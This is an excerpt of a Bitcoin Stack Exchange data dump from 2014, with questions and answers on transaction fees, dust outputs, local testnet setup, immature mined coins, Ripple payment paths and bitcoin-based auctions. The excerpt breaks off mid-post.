  <row Id="30607" PostTypeId="1" AcceptedAnswerId="30712" CreationDate="2014-09-21T23:29:43.800" Score="6" ViewCount="240" Body="&lt;p&gt;I'm thinking of the situation where you have an auction where bids are placed. There are two conditions that should be held:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Placing a bid shouldn't expose you to paying the seller unless you win the auction&lt;/li&gt;&#xA;&lt;li&gt;Placing a bid should require that you pay the selling in the case you win the auction&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is it possible to satisfy these two conditions using bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="5254" LastActivityDate="2014-09-30T23:18:59.137" Title="Is it possible to force a person to honor a conditional promise-to-pay?" Tags="|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30608" PostTypeId="2" ParentId="30607" CreationDate="2014-09-21T23:49:39.263" Score="4" Body="&lt;p&gt;It is possible to create a small transaction output as an anchor for each auction: Interested parties would then be able to place their bids by signing a transaction that uses both their bid and the anchor as inputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the time-frame of the auction ends, the auctioneer can countersign the transaction with the highest bid, and since the anchor can only be spent once, all other bids are automatically invalidated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transactions would have to be posted through the auction's portal, as they wouldn't be relayed by the network without being signed completely. After they were posted though, everybody could verify that they are valid and the bidder actually has the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One problem is though, that bidders could retract their bid, by doublespending the output used for the bid. This wouldn't be so much a problem if only people bid that actually want to win the auction, but would be a very easy way for the seller to push the price up.&#xA;In the end, the auctioneer could just sign the next highest bid then though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The retracting of bids could be monitored by the auction platform, requiring registration.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-09-22T07:31:25.143" LastActivityDate="2014-09-22T07:31:25.143" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30611" PostTypeId="2" ParentId="30593" CreationDate="2014-09-22T09:51:47.360" Score="2" Body="&lt;p&gt;Yes, this has actually been going on for a longer time, and it is expected to arrive in the next (0.10) release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Citing Gavin:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Instead of using hard-coded rules for what fees to pay, the code observes how long transactions are taking to confirm and then uses that data to estimate the right fee to pay so the transaction confirms quickly– or decides that the transaction has a high enough priority to be sent for free but still confirm quickly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In practice, you'll be able to select the priority of your outgoing transaction and the fees will be calculated accordingly, taking the current &quot;market situation&quot; into consideration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once implemented, it will no longer be necessary to &lt;em&gt;dictate&lt;/em&gt; or &lt;em&gt;suggest&lt;/em&gt; the optimal fee centrally, as it is now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more in the &lt;a href=&quot;https://bitcoinfoundation.org/2014/07/floating-fees-for-0-10/&quot; rel=&quot;nofollow&quot;&gt;original article&lt;/a&gt; by Gavin Andresen.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-09-22T09:51:47.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30612" PostTypeId="2" ParentId="30452" CreationDate="2014-09-22T10:42:08.377" Score="5" Body="&lt;p&gt;The time it takes for a fee-less transaction to be confirmed can &lt;strong&gt;vary vastly&lt;/strong&gt;. While sometimes you're lucky enough to have it confirmed &lt;strong&gt;within the next block&lt;/strong&gt; (as if you had paid the standard fee), other times it may &lt;strong&gt;take days&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This depends on the current &lt;strong&gt;transaction volume&lt;/strong&gt; and miners' level of &lt;strong&gt;altruism&lt;/strong&gt;. Most notably though, it depends on the number of &lt;a href=&quot;/questions/845/what-are-bitcoin-days-destroyed&quot;&gt;Bitcoin Days Destroyed&lt;/a&gt;. Older coins (coming from older transactions) are conventionally assigned &lt;strong&gt;higher priority&lt;/strong&gt;, and thus will generally be included in a block sooner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As your transaction is pending (unconfirmed), the coins it is spending are getting older and older every day, so the chance of finally getting confirmed is slightly &lt;strong&gt;increasing overtime&lt;/strong&gt;. This should prevent your coins from becoming completely unaccessible, stuck in the void.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No transaction can be rejected though, there's just no such thing in the protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if this happens to you and you're not willing to spend some arbitrary time in uncertainty waiting for the confirmation, you can perhaps try to &lt;a href=&quot;/questions/26926/could-any-standard-fee-transaction-be-double-spent-by-using-a-higher-fee/&quot;&gt;create a double spend transaction with higher fees&lt;/a&gt;, hoping it would be picked up by a non-standard (though pragmatic) miner.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-09-22T10:42:08.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30614" PostTypeId="2" ParentId="27061" CreationDate="2014-09-22T20:59:02.540" Score="1" Body="&lt;p&gt;Most likely cause: the compiler ran out of memory.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-09-22T20:59:02.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30616" PostTypeId="1" AcceptedAnswerId="30617" CreationDate="2014-09-23T00:58:04.780" Score="2" ViewCount="153" Body="&lt;p&gt;What happens if a transaction is set to have zero fees?&#xA;Can it get into a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you updated a coin's code to accept zero-fee transactions, would this cause a hardfork?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(e.g. made tx's in certain denominations return a tx.GetMinFee() of 0)&lt;/p&gt;&#xA;" OwnerUserId="10229" LastEditorUserId="5406" LastEditDate="2016-04-25T17:48:02.980" LastActivityDate="2023-11-20T09:47:17.440" Title="Can zero-fee txs get into a block?" Tags="|transaction-fees|block|transaction-selection|coin-age-priority|blockspace-market|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30617" PostTypeId="2" ParentId="30616" CreationDate="2014-09-23T01:32:04.317" Score="1" Body="&lt;p&gt;zero fee txs get into blocks all the time. many pools accept zero fee txs that have sufficiently high priority. that is, the inputs are aged and of high value.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-09-23T01:32:04.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30618" PostTypeId="2" ParentId="30005" CreationDate="2014-09-23T03:03:15.437" Score="6" Body="&lt;p&gt;As Electrum is open-source software, we can probably safely assume it will never go away. That is, even if the devs were to take it off of github etc, there are likely thousands of copies of the source code distributed on the nets. But let's say all the electrum servers were taken down and for whatever reason you couldn't run a python interpretter (not very likely). Again because Electrum is open-source, the algorithm for transforming a seed into a private key and the derived private keys is known. So in theory, you could just do the math and generate your private keys manually from your seed. Practically, if you can get hold of a python interpretter, you can restore an Electrum database and dump all of your private keys without ever connecting to the internet. From there, sweep the balances into any wallet such as Bitcoin-QT.&lt;/p&gt;&#xA;" OwnerUserId="19426" LastActivityDate="2014-09-23T03:03:15.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30620" PostTypeId="1" AcceptedAnswerId="30622" CreationDate="2014-09-23T04:02:36.273" Score="5" ViewCount="495" Body="&lt;p&gt;Given I have an account with balance 1BTC + 1 satoshi.&#xA;I want to transfer 1BTC to another account and tribute 0.0001 BTC out of that 1BTC to the network as fee. Would my transaction being rejected for produce dust spam (1 satoshi in this case)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the number is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Account 1: 1BTC + 1 satoshi&lt;/li&gt;&#xA;&lt;li&gt;Transfer: 0.9999 BTC and tribute 0.0001 BTC to miner&lt;/li&gt;&#xA;&lt;li&gt;Left over: 1 satoshi.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15490" LastEditorUserId="5757" LastEditDate="2014-09-23T13:47:59.847" LastActivityDate="2023-11-12T04:09:23.510" Title="Inevitable dust spam" Tags="|transactions|dust|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30621" PostTypeId="2" ParentId="30620" CreationDate="2014-09-23T04:19:33.863" Score="1" Body="&lt;p&gt;Rejecting a transaction is not as simple as one of the outputs. If you look at this wiki page &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt; all parts of the transaction are included when calculating this. Minning pools do not look for single output size when rejecting / accepting that i know of but base it off the priority shown in the formula.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2014-09-23T04:19:33.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30622" PostTypeId="2" ParentId="30620" CreationDate="2014-09-23T09:00:11.390" Score="2" Body="&lt;p&gt;Your transaction (1.00000001 ===&gt; 0.99990000 transfer + 0.00010000 fee + 0.00000001 change) will be valid. But it is not guaranteed that other nodes will pass your transaction. May be yes, may be no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modern referral clients do not relay such transactions, because developers hate dust and spam. But there are nodes which relay such transactions and there are miners who confirm them into blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. &lt;a href=&quot;https://blockchain.info/address/1Fri3h6MtMkjZjYHub4r1N6r5nERWgZXHQ&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1Fri3h6MtMkjZjYHub4r1N6r5nERWgZXHQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2014-09-23T10:47:04.433" LastActivityDate="2014-09-23T10:47:04.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30623" PostTypeId="1" AcceptedAnswerId="30627" CreationDate="2014-09-23T09:49:34.397" Score="2" ViewCount="1213" Body="&lt;p&gt;I'm trying to setup a local testnet with multiple nodes. Currently I have three nodes, and their mining powers are almost the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things have been quite ok so far, except some problems that I need to ask from you.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When I run the &lt;code&gt;getblocktemplate&lt;/code&gt; rpc call (because I later want to run a pool), it returns the message as in the title. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./src/bitcoin-cli -datadir=./localnet getblocktemplate&#xA;error: {&quot;code&quot;:-10,&quot;message&quot;:&quot;Bitcoin is downloading blocks...&quot;}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;although there are already 10 blocks in the blockchain maintained by the node. Its the same for other nodes as well. So why does that happen?&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;The nodes do not sync up very often although they are all connected together (each node has 2 inbound connections and 2 outbound connections). It is so often that one node is 2 block ahead of other and remains so for a long time. Thus, again, why does that happen? I thought after finding a valid block, the node will broadcast that to every connected node and the network will work on top of that block?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please let me know if you can help answer either one or all the questions.&lt;/p&gt;&#xA;" OwnerUserId="15178" LastEditorUserId="15178" LastEditDate="2014-09-24T05:29:18.473" LastActivityDate="2014-09-24T05:29:18.473" Title="Bitcoin testnet: &quot;Bitcoin is downloading blocks...&quot; and other problem" Tags="|blockchain|json-rpc|testnet|getblocktemplate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30624" PostTypeId="1" AcceptedAnswerId="30637" CreationDate="2014-09-23T09:55:26.127" Score="3" ViewCount="1052" Body="&lt;p&gt;I am trying to understand how bitcoin fees work. I have understood well why transaction with many inputs require higher fees but I can't figure out why transaction spending virgin bitcoins would require important fees as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logic behind my thinking is the following:&#xA;If my inputs are a recent coinbase transaction, it is easier for the nodes to check their validity as they don't have to crawl the whole blockchain up. So it should require less time/processing power to validate them, which would mean lower fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently there is something wrong in here :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have a better explanation?&lt;/p&gt;&#xA;" OwnerUserId="19427" LastEditorUserId="15412" LastEditDate="2014-09-23T11:10:58.223" LastActivityDate="2017-11-01T21:22:41.810" Title="Why do transactions with lower input age require higher fees?" Tags="|transactions|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30625" PostTypeId="2" ParentId="30624" CreationDate="2014-09-23T11:03:31.390" Score="3" Body="&lt;p&gt;There is no time difference to check old or new outputs, because the database of them (UTXO) is a HashTable. The reason to take obligatory fees from new funds is preventing useless transfers from one account to another wasting the blockchain and increasing its size without reasons.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-09-23T11:03:31.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30626" PostTypeId="2" ParentId="30620" CreationDate="2014-09-23T13:52:40.077" Score="3" Body="&lt;p&gt;If your proposed transaction is to have an input of BTC 1.00000001, one output of BTC 0.9999 and a change output of BTC 0.00000001 (leaving BTC 0.0001 as a fee), then yes, most clients will reject it under the dust rule.  Bitcoin Core's rule is to refuse transactions with any output that is too small - the precise details are a little complicated, but generally outputs of less than 546 satoshis (BTC 0.00000546) are forbidden.  (You can see the full details in the source - it is the function &lt;code&gt;CTxOut::IsDust()&lt;/code&gt; in &lt;code&gt;core.h&lt;/code&gt;.)  It is possible, however, that some nonstandard clients would relay your transaction, and it might find its way to a nonstandard miner who would include it in a block, but there is a risk that it would not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Bitcoin Core and you actually try to make a transaction that takes an input of BTC 1.00000001 and sends BTC 0.9999 to another address, it will avoid this problem by not creating a change output, but adding the extra 1 satoshi to the fee instead.  So you will effectively pay a fee of BTC 0.00010001, and your transaction should be relayed and confirmed with no problems.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-09-23T13:52:40.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30627" PostTypeId="2" ParentId="30623" CreationDate="2014-09-23T14:03:34.377" Score="2" Body="&lt;p&gt;For your first question, the message &quot;Bitcoin is downloading blocks&quot; is produced if the client hasn't yet downloaded all the checkpoint blocks.  For testnet, there is exactly one checkpoint block, at height 546.  So until your client has mined 546 blocks, you will continue to get this message.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, when you do mine block number 546, it will be rejected since its hash won't match the hardcoded checkpoint, and you will still get this message anyway.  So you will have to remove the checkpoint from the code and replace it with a zero-height checkpoint matching your genesis block.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-09-23T14:03:34.377" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30629" PostTypeId="1" CreationDate="2014-09-23T22:49:33.213" Score="0" ViewCount="57" Body="&lt;p&gt;I understand having APIs around addresses and transactions, but I'm less clear why I need to know what's happening with a Block(s). This is to confirm one's transactions? Might someone provide some context?&lt;/p&gt;&#xA;" OwnerUserId="12039" LastActivityDate="2014-09-24T09:05:49.673" Title="Why do Bitcoin API services offer Block details?" Tags="|blockchain|api|block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30630" PostTypeId="2" ParentId="17830" CreationDate="2014-09-24T04:12:20.790" Score="11" Body="&lt;p&gt;Currently, as of Bitcoin Core 0.14.1 the minimum for outputs is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5460 Satoshi&#xA;54.6 μBTC&#xA;0.0546 mBTC&#xA;0.00005460 BTC&#xA;5460/100000000 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="5406" LastEditDate="2017-06-15T01:04:47.017" LastActivityDate="2017-06-15T01:04:47.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30631" PostTypeId="1" AcceptedAnswerId="30726" CreationDate="2014-09-24T04:20:04.843" Score="0" ViewCount="375" Body="&lt;p&gt;Currently the minimum transaction on Bitcoin is 5430 Satoshi, and what about NXT?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2014-09-30T20:15:21.323" Title="What's the minimum transaction with nxt?" Tags="|transactions|nxt|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30632" PostTypeId="1" AcceptedAnswerId="30634" CreationDate="2014-09-24T05:31:38.070" Score="0" ViewCount="216" Body="&lt;p&gt;I'm trying to setup a local testnet with multiple nodes. Currently I have three nodes, and their mining powers are almost the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use &lt;code&gt;listaccounts&lt;/code&gt; RPC call, all the wallets have 0 coins. Even when I call &lt;code&gt;listunspent 0&lt;/code&gt;, there are no transactions listed. How do I check how many coins I have mined so far? There have been 50 blocks in the blockchain so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="15178" LastActivityDate="2014-09-24T05:47:09.163" Title="Local Testnet3, where do the new coins get sent to?" Tags="|blockchain|json-rpc|testnet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30633" PostTypeId="2" ParentId="19695" CreationDate="2014-09-24T05:44:17.087" Score="8" Body="&lt;p&gt;Using the &lt;code&gt;listtransactions&lt;/code&gt; command, you can see your immature coinbase transactions listed with category &lt;code&gt;immature&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;listtransactions&lt;/code&gt; appears to include both spent and unspent transactions in general, but since immature coins cannot be spent, that shouldn't be a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since accounts are now deprecated, you can get the immature balance for the entire wallet with &lt;code&gt;getwalletinfo&lt;/code&gt;; look at the &lt;code&gt;immature&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;getbalance&lt;/code&gt; does not include immature coins.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2017-08-29T02:30:11.953" LastActivityDate="2017-08-29T02:30:11.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30634" PostTypeId="2" ParentId="30632" CreationDate="2014-09-24T05:47:09.163" Score="1" Body="&lt;p&gt;Newly mined coins are &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/20120/what-was-the-goal-of-creating-the-feature-of-immature-coins&quot;&gt;immature&lt;/a&gt; and cannot be spent until 100 more blocks are mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoind&lt;/code&gt; does not show immature coins as part of your balance, but you can see them using the &lt;code&gt;listtransactions&lt;/code&gt; command, as I explain &lt;a href=&quot;https://bitcoin.stackexchange.com/a/30633/5757&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-09-24T05:47:09.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30635" PostTypeId="1" AcceptedAnswerId="30638" CreationDate="2014-09-24T08:50:52.820" Score="1" ViewCount="1173" Body="&lt;p&gt;I want to send IOUs from one of my accounts to another through the use of the API. Both of the accounts trust the same IOU issuer, which is a separate address. According to the &lt;a href=&quot;https://wiki.ripple.com/Transaction_Format#Payment_.280.29&quot; rel=&quot;nofollow&quot;&gt;Transaction Format&lt;/a&gt;, I would set the Amount issuer to the receiving account, and the SendMax issuer to the sending account. However, trying this, I get a &quot;path dry&quot; error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;id&quot;: 6,&#xA;  &quot;status&quot;: &quot;success&quot;,&#xA;  &quot;type&quot;: &quot;response&quot;,&#xA;  &quot;result&quot;: {&#xA;    &quot;engine_result&quot;: &quot;tecPATH_DRY&quot;,&#xA;    &quot;engine_result_code&quot;: 128,&#xA;    &quot;engine_result_message&quot;: &quot;Path could not send partial amount.&quot;,&#xA;    &quot;tx_blob&quot;: &quot; &quot;,&#xA;    &quot;tx_json&quot;: {&#xA;      &quot;Account&quot;: &quot;rL2ZJ8iTF9w5UGr8MzQSt8GpedNmutpEEQ&quot;,&#xA;      &quot;Amount&quot;: {&#xA;        &quot;currency&quot;: &quot;TBC&quot;,&#xA;        &quot;issuer&quot;: &quot;rLJZHsAbNZu264dWnPCGgpqePAYfNZR1Zk&quot;,&#xA;        &quot;value&quot;: &quot;0.123&quot;&#xA;      },&#xA;      &quot;Destination&quot;: &quot;rLJZHsAbNZu264dWnPCGgpqePAYfNZR1Zk&quot;,&#xA;      &quot;Fee&quot;: &quot;10&quot;,&#xA;      &quot;Flags&quot;: 2147483648,&#xA;      &quot;InvoiceID&quot;: &quot;000000323031342D30392D32335430313A34373A34303A393838343836353030&quot;,&#xA;      &quot;SendMax&quot;: {&#xA;        &quot;currency&quot;: &quot;TBC&quot;,&#xA;        &quot;issuer&quot;: &quot;rL2ZJ8iTF9w5UGr8MzQSt8GpedNmutpEEQ&quot;,&#xA;        &quot;value&quot;: &quot;0.12423&quot;&#xA;      },&#xA;      &quot;Sequence&quot;: 14,&#xA;      &quot;SigningPubKey&quot;: &quot;0220AFA84AEEE2DD794576E98411946D671F8E1F80E6C432B5ABAAAB2957651CD6&quot;,&#xA;      &quot;TransactionType&quot;: &quot;Payment&quot;,&#xA;      &quot;TxnSignature&quot;: &quot;3045022100FD0F2FECF958294BEA74876A4E5FE4192EA10EFC55C9B166F9F427861D5CBC42022067AA4B5CDA1BEB1D400937888C7819A412B238C79423A3DDB6F4FC8F45D45D61&quot;,&#xA;      &quot;hash&quot;: &quot;6CDB694DF36F4BD3AB928A9D761A9F60C285557B3C1136749DF7BC56A46ED641&quot;&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Despite rLJZHsAbNZu264dWnPCGgpqePAYfNZR1Zk and rL2ZJ8iTF9w5UGr8MzQSt8GpedNmutpEEQ trusting the same issuer (rTJdjjQ5wWAMh8TL1ToXXD2mZzesa6DSX) and having enough IOUs to cover the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this issue? What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-09-24T09:51:51.603" Title="How to set a payment in Ripple without specifying currency issuers?" Tags="|transactions|ripple|api|json-rpc|ripple-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30636" PostTypeId="2" ParentId="30629" CreationDate="2014-09-24T09:05:49.673" Score="1" Body="&lt;p&gt;E.g. for debugging purposes, for miners, for parties who work directly with Bitcoin protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;I see only block X on my local bitcoind, but the latest on blockchain.info is Y&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Application developers are less interested about blocks.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-09-24T09:05:49.673" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30637" PostTypeId="2" ParentId="30624" CreationDate="2014-09-24T09:51:43.660" Score="3" Body="&lt;p&gt;All miners run a full node, &lt;strong&gt;indexing&lt;/strong&gt; all the unspent transaction outputs (UTXO). Thus, from the computational difficulty perspective, there's &lt;strong&gt;no difference&lt;/strong&gt; between verifying old and new coins that are being spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there's a reasonable assumption that all miners (and, after all, all honest Bitcoin users) want to protect the value of their assets and thus have an incentive to keep Bitcoin network healthy. Spamming the network with a great number of transactions moving the same coins back and forth among a few addresses, with no apparent purpose, is quite easy and can be carried out by any malicious user. This extra overhead is obviously not good for the network and might even cause a delay in confirmation of other transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fight this, Bitcoin has a notion of &lt;a href=&quot;/q/845/13530&quot;&gt;Bitcoin Days Destroyed&lt;/a&gt; which prioritizes transactions spending &lt;strong&gt;older coins&lt;/strong&gt;. Miners are not forced to employ this strategy (by the protocol), but they do so because it's good for the network, and thus for them. That's why you can observe a huge variance in the time it takes to confirm otherwise look-alike transactions with low or no fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spamming the network with transactions paying standard fees has obviously become &lt;strong&gt;infeasible&lt;/strong&gt;. But this strategy is still useful when prioritizing fee-less transactions, or any great number of otherwise low-priority transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; The notion of Bitcoin Days Destroyed is not so important anymore since these days almost all miners reject zero fee transactions. Spamming the network &quot;for free&quot; is no longer possible.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastEditorUserId="62184" LastEditDate="2017-11-01T21:22:41.810" LastActivityDate="2017-11-01T21:22:41.810" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30638" PostTypeId="2" ParentId="30635" CreationDate="2014-09-24T09:51:51.603" Score="2" Body="&lt;p&gt;Ripple won't search for paths while processing transactions. The paths must be found first, using pathfinding, and specified in the transaction. You're getting a path dry error because you're not specifying any paths, so the only path you're getting is the default path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple solution is to change the issuer of the SendMax amount to be the gateway. This will implicitly insert the gateway's account node before each path, including the default path. Alternatively, specify the gateway's account node as an explicit path or use pathfinding.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-09-24T09:51:51.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30639" PostTypeId="2" ParentId="20879" CreationDate="2014-09-24T11:27:06.563" Score="7" Body="&lt;p&gt;In addition to PrimeCoin, there was also PermaCoin proposed as a solution to archival of public knowledge: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excerpt from the abstract:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We propose a modification to Bitcoin that repurposes its mining resources to achieve a more broadly useful goal: &lt;strong&gt;distributed storage of archival data&lt;/strong&gt;. We call our new scheme Permacoin. Unlike Bitcoin and its proposed alternatives, Permacoin requires clients to invest not just computational resources, but also storage. Our scheme involves an alternative scratch-off puzzle for Bitcoin &lt;strong&gt;based on Proofs-of-Retrievability (PORs)&lt;/strong&gt;. Successfully minting money with this SOP requires local, random access to a copy of a file. Given the competition among mining clients in Bitcoin, this modified SOP gives rise to highly decentralized file storage, thus reducing the overall waste of Bitcoin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The full paper can be found here:&#xA;&lt;a href=&quot;https://www.cs.umd.edu/~elaine/docs/permacoin.pdf&quot; rel=&quot;noreferrer&quot;&gt;https://www.cs.umd.edu/~elaine/docs/permacoin.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19438" LastEditorUserId="5406" LastEditDate="2014-09-24T15:05:52.907" LastActivityDate="2014-09-24T15:05:52.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30642" PostTypeId="1" CreationDate="2014-09-24T13:16:28.493" Score="1" ViewCount="103" Body="&lt;p&gt;For some reason I've lost all data in my &lt;code&gt;.bitcoin&lt;/code&gt; directory except the &lt;code&gt;wallet.dat&lt;/code&gt; file. Now bitcoin-qt shows 0 balance, and it's 5 years behind sync. Is this possible to restore coins in this case?&lt;/p&gt;&#xA;" OwnerUserId="19154" LastEditorUserId="5464" LastEditDate="2014-09-24T13:24:02.410" LastActivityDate="2014-09-24T20:02:05.997" Title="Bitcoin-qt and lost local blockchain files" Tags="|blockchain|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30643" PostTypeId="1" CreationDate="2014-09-24T14:24:25.700" Score="0" ViewCount="155" Body="&lt;p&gt;I am thinking of creating a decentralized market place with public bidding. AS far as I have researched all cryptocurrencies and such only offer public ledgers with simple orderbooks. The only data about the item you are exchanging is value like BTC-&gt;USD or USD-&gt;BTC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping to have a decentralized public market for more complex products which have many properties (let's call them CPU, memory, bandwidth, storage and lease time). In this case, you would not bid against a single value (price), but define the acceptable parameter ranger for your bid e.g. 30x units with &gt; 512 MB memory, 1 MBit/s bandwith at the price of 1 USD/unit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the ledger would go through the offers and match ones available on the market. Then trade parties would exchange private keys, so that the buyer would get the access to the item. I have no idea yet how, but probably the buyer would have an encryption key in the bid and if the bid goes through then the seller would encrypt a reply to the buyer using this key (the buyer can only decrypt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I am still in early phases of my research, I was wondering is there any prior art in this kind of crypto markets? Preferably the ledger data and the orders are public in consensus or blockchain, so that the there is no single point of failure in the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus far I have researched &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;NXT&lt;/li&gt;&#xA;&lt;li&gt;Stellar &lt;/li&gt;&#xA;&lt;li&gt;Bitshares X 